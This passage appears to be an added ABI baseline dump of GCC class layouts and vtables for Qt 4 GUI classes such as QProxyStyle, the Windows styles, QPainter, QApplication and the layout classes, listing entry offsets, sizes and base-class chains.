+8 QProxyStyle::metaObject
+12 QProxyStyle::qt_metacast
+16 QProxyStyle::qt_metacall
+20 QProxyStyle::~QProxyStyle
+24 QProxyStyle::~QProxyStyle
+28 QProxyStyle::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QProxyStyle::polish
+60 QProxyStyle::unpolish
+64 QProxyStyle::polish
+68 QProxyStyle::unpolish
+72 QProxyStyle::polish
+76 QProxyStyle::itemTextRect
+80 QProxyStyle::itemPixmapRect
+84 QProxyStyle::drawItemText
+88 QProxyStyle::drawItemPixmap
+92 QProxyStyle::standardPalette
+96 QProxyStyle::drawPrimitive
+100 QProxyStyle::drawControl
+104 QProxyStyle::subElementRect
+108 QProxyStyle::drawComplexControl
+112 QProxyStyle::hitTestComplexControl
+116 QProxyStyle::subControlRect
+120 QProxyStyle::pixelMetric
+124 QProxyStyle::sizeFromContents
+128 QProxyStyle::styleHint
+132 QProxyStyle::standardPixmap
+136 QProxyStyle::generatedIconPixmap
+
+Class QProxyStyle
+ size=8 align=4
+ base size=8 base align=4
+QProxyStyle (0xb2c39a00) 0
+ vptr=((& QProxyStyle::_ZTV11QProxyStyle) + 8u)
+ QCommonStyle (0xb2c39a40) 0
+ primary-for QProxyStyle (0xb2c39a00)
+ QStyle (0xb2c39a80) 0
+ primary-for QCommonStyle (0xb2c39a40)
+ QObject (0xb2df2e88) 0
+ primary-for QStyle (0xb2c39a80)
+
+Vtable for QS60Style
+QS60Style::_ZTV9QS60Style: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QS60Style)
+8 QS60Style::metaObject
+12 QS60Style::qt_metacast
+16 QS60Style::qt_metacall
+20 QS60Style::~QS60Style
+24 QS60Style::~QS60Style
+28 QS60Style::event
+32 QS60Style::eventFilter
+36 QS60Style::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QS60Style::polish
+60 QS60Style::unpolish
+64 QS60Style::polish
+68 QS60Style::unpolish
+72 QCommonStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QStyle::standardPalette
+96 QS60Style::drawPrimitive
+100 QS60Style::drawControl
+104 QS60Style::subElementRect
+108 QS60Style::drawComplexControl
+112 QCommonStyle::hitTestComplexControl
+116 QS60Style::subControlRect
+120 QS60Style::pixelMetric
+124 QS60Style::sizeFromContents
+128 QS60Style::styleHint
+132 QCommonStyle::standardPixmap
+136 QCommonStyle::generatedIconPixmap
+
+Class QS60Style
+ size=8 align=4
+ base size=8 base align=4
+QS60Style (0xb2c39d40) 0
+ vptr=((& QS60Style::_ZTV9QS60Style) + 8u)
+ QCommonStyle (0xb2c39d80) 0
+ primary-for QS60Style (0xb2c39d40)
+ QStyle (0xb2c39dc0) 0
+ primary-for QCommonStyle (0xb2c39d80)
+ QObject (0xb2c920b4) 0
+ primary-for QStyle (0xb2c39dc0)
+
+Class QStyleFactory
+ size=1 align=1
+ base size=0 base align=1
+QStyleFactory (0xb2c922d0) 0 empty
+
+Vtable for QStyleFactoryInterface
+QStyleFactoryInterface::_ZTV22QStyleFactoryInterface: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI22QStyleFactoryInterface)
+8 QStyleFactoryInterface::~QStyleFactoryInterface
+12 QStyleFactoryInterface::~QStyleFactoryInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QStyleFactoryInterface
+ size=4 align=4
+ base size=4 base align=4
+QStyleFactoryInterface (0xb2ca50c0) 0 nearly-empty
+ vptr=((& QStyleFactoryInterface::_ZTV22QStyleFactoryInterface) + 8u)
+ QFactoryInterface (0xb2c9230c) 0 nearly-empty
+ primary-for QStyleFactoryInterface (0xb2ca50c0)
+
+Vtable for QStylePlugin
+QStylePlugin::_ZTV12QStylePlugin: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QStylePlugin)
+8 QStylePlugin::metaObject
+12 QStylePlugin::qt_metacast
+16 QStylePlugin::qt_metacall
+20 QStylePlugin::~QStylePlugin
+24 QStylePlugin::~QStylePlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 (int (*)(...))-0x000000008
+68 (int (*)(...))(& _ZTI12QStylePlugin)
+72 QStylePlugin::_ZThn8_N12QStylePluginD1Ev
+76 QStylePlugin::_ZThn8_N12QStylePluginD0Ev
+80 __cxa_pure_virtual
+84 __cxa_pure_virtual
+
+Class QStylePlugin
+ size=12 align=4
+ base size=12 base align=4
+QStylePlugin (0xb2ca4be0) 0
+ vptr=((& QStylePlugin::_ZTV12QStylePlugin) + 8u)
+ QObject (0xb2c92618) 0
+ primary-for QStylePlugin (0xb2ca4be0)
+ QStyleFactoryInterface (0xb2ca5380) 8 nearly-empty
+ vptr=((& QStylePlugin::_ZTV12QStylePlugin) + 72u)
+ QFactoryInterface (0xb2c92654) 8 nearly-empty
+ primary-for QStyleFactoryInterface (0xb2ca5380)
+
+Vtable for QWindowsCEStyle
+QWindowsCEStyle::_ZTV15QWindowsCEStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QWindowsCEStyle)
+8 QWindowsCEStyle::metaObject
+12 QWindowsCEStyle::qt_metacast
+16 QWindowsCEStyle::qt_metacall
+20 QWindowsCEStyle::~QWindowsCEStyle
+24 QWindowsCEStyle::~QWindowsCEStyle
+28 QObject::event
+32 QWindowsStyle::eventFilter
+36 QWindowsStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWindowsCEStyle::polish
+60 QWindowsStyle::unpolish
+64 QWindowsCEStyle::polish
+68 QWindowsStyle::unpolish
+72 QWindowsCEStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QWindowsCEStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QWindowsCEStyle::standardPalette
+96 QWindowsCEStyle::drawPrimitive
+100 QWindowsCEStyle::drawControl
+104 QWindowsCEStyle::subElementRect
+108 QWindowsCEStyle::drawComplexControl
+112 QWindowsCEStyle::hitTestComplexControl
+116 QWindowsCEStyle::subControlRect
+120 QWindowsCEStyle::pixelMetric
+124 QWindowsCEStyle::sizeFromContents
+128 QWindowsCEStyle::styleHint
+132 QWindowsCEStyle::standardPixmap
+136 QCommonStyle::generatedIconPixmap
+
+Class QWindowsCEStyle
+ size=12 align=4
+ base size=12 base align=4
+QWindowsCEStyle (0xb2ca55c0) 0
+ vptr=((& QWindowsCEStyle::_ZTV15QWindowsCEStyle) + 8u)
+ QWindowsStyle (0xb2ca5600) 0
+ primary-for QWindowsCEStyle (0xb2ca55c0)
+ QCommonStyle (0xb2ca5640) 0
+ primary-for QWindowsStyle (0xb2ca5600)
+ QStyle (0xb2ca5680) 0
+ primary-for QCommonStyle (0xb2ca5640)
+ QObject (0xb2c92780) 0
+ primary-for QStyle (0xb2ca5680)
+
+Vtable for QWindowsMobileStyle
+QWindowsMobileStyle::_ZTV19QWindowsMobileStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QWindowsMobileStyle)
+8 QWindowsMobileStyle::metaObject
+12 QWindowsMobileStyle::qt_metacast
+16 QWindowsMobileStyle::qt_metacall
+20 QWindowsMobileStyle::~QWindowsMobileStyle
+24 QWindowsMobileStyle::~QWindowsMobileStyle
+28 QObject::event
+32 QWindowsStyle::eventFilter
+36 QWindowsStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWindowsMobileStyle::polish
+60 QWindowsMobileStyle::unpolish
+64 QWindowsMobileStyle::polish
+68 QWindowsMobileStyle::unpolish
+72 QWindowsMobileStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QWindowsMobileStyle::standardPalette
+96 QWindowsMobileStyle::drawPrimitive
+100 QWindowsMobileStyle::drawControl
+104 QWindowsMobileStyle::subElementRect
+108 QWindowsMobileStyle::drawComplexControl
+112 QCommonStyle::hitTestComplexControl
+116 QWindowsMobileStyle::subControlRect
+120 QWindowsMobileStyle::pixelMetric
+124 QWindowsMobileStyle::sizeFromContents
+128 QWindowsMobileStyle::styleHint
+132 QWindowsMobileStyle::standardPixmap
+136 QWindowsMobileStyle::generatedIconPixmap
+
+Class QWindowsMobileStyle
+ size=12 align=4
+ base size=12 base align=4
+QWindowsMobileStyle (0xb2ca58c0) 0
+ vptr=((& QWindowsMobileStyle::_ZTV19QWindowsMobileStyle) + 8u)
+ QWindowsStyle (0xb2ca5900) 0
+ primary-for QWindowsMobileStyle (0xb2ca58c0)
+ QCommonStyle (0xb2ca5940) 0
+ primary-for QWindowsStyle (0xb2ca5900)
+ QStyle (0xb2ca5980) 0
+ primary-for QCommonStyle (0xb2ca5940)
+ QObject (0xb2c928ac) 0
+ primary-for QStyle (0xb2ca5980)
+
+Vtable for QWindowsXPStyle
+QWindowsXPStyle::_ZTV15QWindowsXPStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QWindowsXPStyle)
+8 QWindowsXPStyle::metaObject
+12 QWindowsXPStyle::qt_metacast
+16 QWindowsXPStyle::qt_metacall
+20 QWindowsXPStyle::~QWindowsXPStyle
+24 QWindowsXPStyle::~QWindowsXPStyle
+28 QObject::event
+32 QWindowsStyle::eventFilter
+36 QWindowsStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWindowsXPStyle::polish
+60 QWindowsXPStyle::unpolish
+64 QWindowsXPStyle::polish
+68 QWindowsXPStyle::unpolish
+72 QWindowsXPStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QWindowsXPStyle::standardPalette
+96 QWindowsXPStyle::drawPrimitive
+100 QWindowsXPStyle::drawControl
+104 QWindowsXPStyle::subElementRect
+108 QWindowsXPStyle::drawComplexControl
+112 QCommonStyle::hitTestComplexControl
+116 QWindowsXPStyle::subControlRect
+120 QWindowsXPStyle::pixelMetric
+124 QWindowsXPStyle::sizeFromContents
+128 QWindowsXPStyle::styleHint
+132 QWindowsXPStyle::standardPixmap
+136 QCommonStyle::generatedIconPixmap
+
+Class QWindowsXPStyle
+ size=16 align=4
+ base size=16 base align=4
+QWindowsXPStyle (0xb2ca5c40) 0
+ vptr=((& QWindowsXPStyle::_ZTV15QWindowsXPStyle) + 8u)
+ QWindowsStyle (0xb2ca5c80) 0
+ primary-for QWindowsXPStyle (0xb2ca5c40)
+ QCommonStyle (0xb2ca5cc0) 0
+ primary-for QWindowsStyle (0xb2ca5c80)
+ QStyle (0xb2ca5d00) 0
+ primary-for QCommonStyle (0xb2ca5cc0)
+ QObject (0xb2c92ac8) 0
+ primary-for QStyle (0xb2ca5d00)
+
+Vtable for QWindowsVistaStyle
+QWindowsVistaStyle::_ZTV18QWindowsVistaStyle: 35u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QWindowsVistaStyle)
+8 QWindowsVistaStyle::metaObject
+12 QWindowsVistaStyle::qt_metacast
+16 QWindowsVistaStyle::qt_metacall
+20 QWindowsVistaStyle::~QWindowsVistaStyle
+24 QWindowsVistaStyle::~QWindowsVistaStyle
+28 QWindowsVistaStyle::event
+32 QWindowsStyle::eventFilter
+36 QWindowsStyle::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWindowsVistaStyle::polish
+60 QWindowsVistaStyle::unpolish
+64 QWindowsVistaStyle::polish
+68 QWindowsVistaStyle::unpolish
+72 QWindowsVistaStyle::polish
+76 QStyle::itemTextRect
+80 QStyle::itemPixmapRect
+84 QStyle::drawItemText
+88 QStyle::drawItemPixmap
+92 QWindowsVistaStyle::standardPalette
+96 QWindowsVistaStyle::drawPrimitive
+100 QWindowsVistaStyle::drawControl
+104 QWindowsVistaStyle::subElementRect
+108 QWindowsVistaStyle::drawComplexControl
+112 QWindowsVistaStyle::hitTestComplexControl
+116 QWindowsVistaStyle::subControlRect
+120 QWindowsVistaStyle::pixelMetric
+124 QWindowsVistaStyle::sizeFromContents
+128 QWindowsVistaStyle::styleHint
+132 QWindowsVistaStyle::standardPixmap
+136 QCommonStyle::generatedIconPixmap
+
+Class QWindowsVistaStyle
+ size=16 align=4
+ base size=16 base align=4
+QWindowsVistaStyle (0xb2ca5fc0) 0
+ vptr=((& QWindowsVistaStyle::_ZTV18QWindowsVistaStyle) + 8u)
+ QWindowsXPStyle (0xb2ce4000) 0
+ primary-for QWindowsVistaStyle (0xb2ca5fc0)
+ QWindowsStyle (0xb2ce4040) 0
+ primary-for QWindowsXPStyle (0xb2ce4000)
+ QCommonStyle (0xb2ce4080) 0
+ primary-for QWindowsStyle (0xb2ce4040)
+ QStyle (0xb2ce40c0) 0
+ primary-for QCommonStyle (0xb2ce4080)
+ QObject (0xb2c92ce4) 0
+ primary-for QStyle (0xb2ce40c0)
+
+Vtable for QKeyEventTransition
+QKeyEventTransition::_ZTV19QKeyEventTransition: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QKeyEventTransition)
+8 QKeyEventTransition::metaObject
+12 QKeyEventTransition::qt_metacast
+16 QKeyEventTransition::qt_metacall
+20 QKeyEventTransition::~QKeyEventTransition
+24 QKeyEventTransition::~QKeyEventTransition
+28 QEventTransition::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QKeyEventTransition::eventTest
+60 QKeyEventTransition::onTransition
+
+Class QKeyEventTransition
+ size=8 align=4
+ base size=8 base align=4
+QKeyEventTransition (0xb2ce4380) 0
+ vptr=((& QKeyEventTransition::_ZTV19QKeyEventTransition) + 8u)
+ QEventTransition (0xb2ce43c0) 0
+ primary-for QKeyEventTransition (0xb2ce4380)
+ QAbstractTransition (0xb2ce4400) 0
+ primary-for QEventTransition (0xb2ce43c0)
+ QObject (0xb2c92f00) 0
+ primary-for QAbstractTransition (0xb2ce4400)
+
+Vtable for QMouseEventTransition
+QMouseEventTransition::_ZTV21QMouseEventTransition: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QMouseEventTransition)
+8 QMouseEventTransition::metaObject
+12 QMouseEventTransition::qt_metacast
+16 QMouseEventTransition::qt_metacall
+20 QMouseEventTransition::~QMouseEventTransition
+24 QMouseEventTransition::~QMouseEventTransition
+28 QEventTransition::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QMouseEventTransition::eventTest
+60 QMouseEventTransition::onTransition
+
+Class QMouseEventTransition
+ size=8 align=4
+ base size=8 base align=4
+QMouseEventTransition (0xb2ce46c0) 0
+ vptr=((& QMouseEventTransition::_ZTV21QMouseEventTransition) + 8u)
+ QEventTransition (0xb2ce4700) 0
+ primary-for QMouseEventTransition (0xb2ce46c0)
+ QAbstractTransition (0xb2ce4740) 0
+ primary-for QEventTransition (0xb2ce4700)
+ QObject (0xb2cff12c) 0
+ primary-for QAbstractTransition (0xb2ce4740)
+
+Class QColormap
+ size=4 align=4
+ base size=4 base align=4
+QColormap (0xb2cff348) 0
+
+Class QTileRules
+ size=8 align=4
+ base size=8 base align=4
+QTileRules (0xb2cff384) 0
+
+Class QPainter::PixmapFragment
+ size=80 align=4
+ base size=80 base align=4
+QPainter::PixmapFragment (0xb2cff708) 0
+
+Class QPainter
+ size=4 align=4
+ base size=4 base align=4
+QPainter (0xb2cff6cc) 0
+
+Class QTextItem
+ size=1 align=1
+ base size=0 base align=1
+QTextItem (0xb2a424ec) 0 empty
+
+Vtable for QPaintEngine
+QPaintEngine::_ZTV12QPaintEngine: 24u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QPaintEngine)
+8 QPaintEngine::~QPaintEngine
+12 QPaintEngine::~QPaintEngine
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 QPaintEngine::drawRects
+32 QPaintEngine::drawRects
+36 QPaintEngine::drawLines
+40 QPaintEngine::drawLines
+44 QPaintEngine::drawEllipse
+48 QPaintEngine::drawEllipse
+52 QPaintEngine::drawPath
+56 QPaintEngine::drawPoints
+60 QPaintEngine::drawPoints
+64 QPaintEngine::drawPolygon
+68 QPaintEngine::drawPolygon
+72 __cxa_pure_virtual
+76 QPaintEngine::drawTextItem
+80 QPaintEngine::drawTiledPixmap
+84 QPaintEngine::drawImage
+88 QPaintEngine::coordinateOffset
+92 __cxa_pure_virtual
+
+Class QPaintEngine
+ size=20 align=4
+ base size=20 base align=4
+QPaintEngine (0xb2a425a0) 0
+ vptr=((& QPaintEngine::_ZTV12QPaintEngine) + 8u)
+
+Class QPaintEngineState
+ size=4 align=4
+ base size=4 base align=4
+QPaintEngineState (0xb2a428ac) 0
+
+Vtable for QPrintEngine
+QPrintEngine::_ZTV12QPrintEngine: 10u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QPrintEngine)
+8 QPrintEngine::~QPrintEngine
+12 QPrintEngine::~QPrintEngine
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+
+Class QPrintEngine
+ size=4 align=4
+ base size=4 base align=4
+QPrintEngine (0xb2ab51e0) 0 nearly-empty
+ vptr=((& QPrintEngine::_ZTV12QPrintEngine) + 8u)
+
+Class QPrinterInfo
+ size=4 align=4
+ base size=4 base align=4
+QPrinterInfo (0xb2ab53fc) 0
+
+Class QStylePainter
+ size=12 align=4
+ base size=12 base align=4
+QStylePainter (0xb2a8f700) 0
+ QPainter (0xb2ab5564) 0
+
+Class QVector3D
+ size=12 align=4
+ base size=12 base align=4
+QVector3D (0xb2914d5c) 0
+
+Class QVector4D
+ size=16 align=4
+ base size=16 base align=4
+QVector4D (0xb29b0834) 0
+
+Class QQuaternion
+ size=32 align=4
+ base size=32 base align=4
+QQuaternion (0xb29ecce4) 0
+
+Class QMatrix4x4
+ size=132 align=4
+ base size=132 base align=4
+QMatrix4x4 (0xb2832b7c) 0
+
+Class QVector2D
+ size=8 align=4
+ base size=8 base align=4
+QVector2D (0xb274d99c) 0
+
+Vtable for QApplication
+QApplication::_ZTV12QApplication: 20u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QApplication)
+8 QApplication::metaObject
+12 QApplication::qt_metacast
+16 QApplication::qt_metacall
+20 QApplication::~QApplication
+24 QApplication::~QApplication
+28 QApplication::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QApplication::notify
+60 QApplication::compressEvent
+64 QApplication::x11EventFilter
+68 QApplication::x11ClientMessage
+72 QApplication::commitData
+76 QApplication::saveState
+
+Class QApplication
+ size=8 align=4
+ base size=8 base align=4
+QApplication (0xb2792d40) 0
+ vptr=((& QApplication::_ZTV12QApplication) + 8u)
+ QCoreApplication (0xb2792d80) 0
+ primary-for QApplication (0xb2792d40)
+ QObject (0xb27ad0b4) 0
+ primary-for QCoreApplication (0xb2792d80)
+
+Vtable for QLayoutItem
+QLayoutItem::_ZTV11QLayoutItem: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QLayoutItem)
+8 QLayoutItem::~QLayoutItem
+12 QLayoutItem::~QLayoutItem
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+36 __cxa_pure_virtual
+40 __cxa_pure_virtual
+44 QLayoutItem::hasHeightForWidth
+48 QLayoutItem::heightForWidth
+52 QLayoutItem::minimumHeightForWidth
+56 QLayoutItem::invalidate
+60 QLayoutItem::widget
+64 QLayoutItem::layout
+68 QLayoutItem::spacerItem
+
+Class QLayoutItem
+ size=8 align=4
+ base size=8 base align=4
+QLayoutItem (0xb27ad744) 0
+ vptr=((& QLayoutItem::_ZTV11QLayoutItem) + 8u)
+
+Vtable for QSpacerItem
+QSpacerItem::_ZTV11QSpacerItem: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QSpacerItem)
+8 QSpacerItem::~QSpacerItem
+12 QSpacerItem::~QSpacerItem
+16 QSpacerItem::sizeHint
+20 QSpacerItem::minimumSize
+24 QSpacerItem::maximumSize
+28 QSpacerItem::expandingDirections
+32 QSpacerItem::setGeometry
+36 QSpacerItem::geometry
+40 QSpacerItem::isEmpty
+44 QLayoutItem::hasHeightForWidth
+48 QLayoutItem::heightForWidth
+52 QLayoutItem::minimumHeightForWidth
+56 QLayoutItem::invalidate
+60 QLayoutItem::widget
+64 QLayoutItem::layout
+68 QSpacerItem::spacerItem
+
+Class QSpacerItem
+ size=36 align=4
+ base size=36 base align=4
+QSpacerItem (0xb27cb940) 0
+ vptr=((& QSpacerItem::_ZTV11QSpacerItem) + 8u)
+ QLayoutItem (0xb27ad960) 0
+ primary-for QSpacerItem (0xb27cb940)
+
+Vtable for QWidgetItem
+QWidgetItem::_ZTV11QWidgetItem: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QWidgetItem)
+8 QWidgetItem::~QWidgetItem
+12 QWidgetItem::~QWidgetItem
+16 QWidgetItem::sizeHint
+20 QWidgetItem::minimumSize
+24 QWidgetItem::maximumSize
+28 QWidgetItem::expandingDirections
+32 QWidgetItem::setGeometry
+36 QWidgetItem::geometry
+40 QWidgetItem::isEmpty
+44 QWidgetItem::hasHeightForWidth
+48 QWidgetItem::heightForWidth
+52 QLayoutItem::minimumHeightForWidth
+56 QLayoutItem::invalidate
+60 QWidgetItem::widget
+64 QLayoutItem::layout
+68 QLayoutItem::spacerItem
+
+Class QWidgetItem
+ size=12 align=4
+ base size=12 base align=4
+QWidgetItem (0xb27cba80) 0
+ vptr=((& QWidgetItem::_ZTV11QWidgetItem) + 8u)
+ QLayoutItem (0xb27ade88) 0
+ primary-for QWidgetItem (0xb27cba80)
+
+Vtable for QWidgetItemV2
+QWidgetItemV2::_ZTV13QWidgetItemV2: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QWidgetItemV2)
+8 QWidgetItemV2::~QWidgetItemV2
+12 QWidgetItemV2::~QWidgetItemV2
+16 QWidgetItemV2::sizeHint
+20 QWidgetItemV2::minimumSize
+24 QWidgetItemV2::maximumSize
+28 QWidgetItem::expandingDirections
+32 QWidgetItem::setGeometry
+36 QWidgetItem::geometry
+40 QWidgetItem::isEmpty
+44 QWidgetItem::hasHeightForWidth
+48 QWidgetItemV2::heightForWidth
+52 QLayoutItem::minimumHeightForWidth
+56 QLayoutItem::invalidate
+60 QWidgetItem::widget
+64 QLayoutItem::layout
+68 QLayoutItem::spacerItem
+
+Class QWidgetItemV2
+ size=68 align=4
+ base size=68 base align=4
+QWidgetItemV2 (0xb27cbbc0) 0
+ vptr=((& QWidgetItemV2::_ZTV13QWidgetItemV2) + 8u)
+ QWidgetItem (0xb27cbc00) 0
+ primary-for QWidgetItemV2 (0xb27cbbc0)
+ QLayoutItem (0xb27ed1a4) 0
+ primary-for QWidgetItem (0xb27cbc00)
+
+Class QLayoutIterator
+ size=8 align=4
+ base size=8 base align=4
+QLayoutIterator (0xb27ed258) 0
+
+Vtable for QLayout
+QLayout::_ZTV7QLayout: 45u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QLayout)
+8 QLayout::metaObject
+12 QLayout::qt_metacast
+16 QLayout::qt_metacall
+20 QLayout::~QLayout
+24 QLayout::~QLayout
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QLayout::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QLayout::invalidate
+60 QLayout::geometry
+64 __cxa_pure_virtual
+68 QLayout::expandingDirections
+72 QLayout::minimumSize
+76 QLayout::maximumSize
+80 QLayout::setGeometry
+84 __cxa_pure_virtual
+88 __cxa_pure_virtual
+92 QLayout::indexOf
+96 __cxa_pure_virtual
+100 QLayout::isEmpty
+104 QLayout::layout
+108 (int (*)(...))-0x000000008
+112 (int (*)(...))(& _ZTI7QLayout)
+116 QLayout::_ZThn8_N7QLayoutD1Ev
+120 QLayout::_ZThn8_N7QLayoutD0Ev
+124 __cxa_pure_virtual
+128 QLayout::_ZThn8_NK7QLayout11minimumSizeEv
+132 QLayout::_ZThn8_NK7QLayout11maximumSizeEv
+136 QLayout::_ZThn8_NK7QLayout19expandingDirectionsEv
+140 QLayout::_ZThn8_N7QLayout11setGeometryERK5QRect
+144 QLayout::_ZThn8_NK7QLayout8geometryEv
+148 QLayout::_ZThn8_NK7QLayout7isEmptyEv
+152 QLayoutItem::hasHeightForWidth
+156 QLayoutItem::heightForWidth
+160 QLayoutItem::minimumHeightForWidth
+164 QLayout::_ZThn8_N7QLayout10invalidateEv
+168 QLayoutItem::widget
+172 QLayout::_ZThn8_N7QLayout6layoutEv
+176 QLayoutItem::spacerItem
+
+Class QLayout
+ size=16 align=4
+ base size=16 base align=4
+QLayout (0xb27f65a0) 0
+ vptr=((& QLayout::_ZTV7QLayout) + 8u)
+ QObject (0xb27ed960) 0
+ primary-for QLayout (0xb27f65a0)
+ QLayoutItem (0xb27ed99c) 8
+ vptr=((& QLayout::_ZTV7QLayout) + 116u)
+
+Vtable for QGridLayout
+QGridLayout::_ZTV11QGridLayout: 49u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QGridLayout)
+8 QGridLayout::metaObject
+12 QGridLayout::qt_metacast
+16 QGridLayout::qt_metacall
+20 QGridLayout::~QGridLayout
+24 QGridLayout::~QGridLayout
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QLayout::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGridLayout::invalidate
+60 QLayout::geometry
+64 QGridLayout::addItem
+68 QGridLayout::expandingDirections
+72 QGridLayout::minimumSize
+76 QGridLayout::maximumSize
+80 QGridLayout::setGeometry
+84 QGridLayout::itemAt
+88 QGridLayout::takeAt
+92 QLayout::indexOf
+96 QGridLayout::count
+100 QLayout::isEmpty
+104 QLayout::layout
+108 QGridLayout::sizeHint
+112 QGridLayout::hasHeightForWidth
+116 QGridLayout::heightForWidth
+120 QGridLayout::minimumHeightForWidth
+124 (int (*)(...))-0x000000008
+128 (int (*)(...))(& _ZTI11QGridLayout)
+132 QGridLayout::_ZThn8_N11QGridLayoutD1Ev
+136 QGridLayout::_ZThn8_N11QGridLayoutD0Ev
+140 QGridLayout::_ZThn8_NK11QGridLayout8sizeHintEv
+144 QGridLayout::_ZThn8_NK11QGridLayout11minimumSizeEv
+148 QGridLayout::_ZThn8_NK11QGridLayout11maximumSizeEv
+152 QGridLayout::_ZThn8_NK11QGridLayout19expandingDirectionsEv
+156 QGridLayout::_ZThn8_N11QGridLayout11setGeometryERK5QRect
+160 QLayout::_ZThn8_NK7QLayout8geometryEv
+164 QLayout::_ZThn8_NK7QLayout7isEmptyEv
+168 QGridLayout::_ZThn8_NK11QGridLayout17hasHeightForWidthEv
+172 QGridLayout::_ZThn8_NK11QGridLayout14heightForWidthEi
+176 QGridLayout::_ZThn8_NK11QGridLayout21minimumHeightForWidthEi
+180 QGridLayout::_ZThn8_N11QGridLayout10invalidateEv
+184 QLayoutItem::widget
+188 QLayout::_ZThn8_N7QLayout6layoutEv
+192 QLayoutItem::spacerItem
+
+Class QGridLayout
+ size=16 align=4
+ base size=16 base align=4
+QGridLayout (0xb2811680) 0
+ vptr=((& QGridLayout::_ZTV11QGridLayout) + 8u)
+ QLayout (0xb261a5a0) 0
+ primary-for QGridLayout (0xb2811680)
+ QObject (0xb261d438) 0
+ primary-for QLayout (0xb261a5a0)
+ QLayoutItem (0xb261d474) 8
+ vptr=((& QGridLayout::_ZTV11QGridLayout) + 132u)
+
+Vtable for QBoxLayout
+QBoxLayout::_ZTV10QBoxLayout: 49u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QBoxLayout)
+8 QBoxLayout::metaObject
+12 QBoxLayout::qt_metacast
+16 QBoxLayout::qt_metacall
+20 QBoxLayout::~QBoxLayout
+24 QBoxLayout::~QBoxLayout
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QLayout::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QBoxLayout::invalidate
+60 QLayout::geometry
+64 QBoxLayout::addItem
+68 QBoxLayout::expandingDirections
+72 QBoxLayout::minimumSize
+76 QBoxLayout::maximumSize
+80 QBoxLayout::setGeometry
+84 QBoxLayout::itemAt
+88 QBoxLayout::takeAt
+92 QLayout::indexOf
+96 QBoxLayout::count
+100 QLayout::isEmpty
+104 QLayout::layout
+108 QBoxLayout::sizeHint
+112 QBoxLayout::hasHeightForWidth
+116 QBoxLayout::heightForWidth
+120 QBoxLayout::minimumHeightForWidth
+124 (int (*)(...))-0x000000008
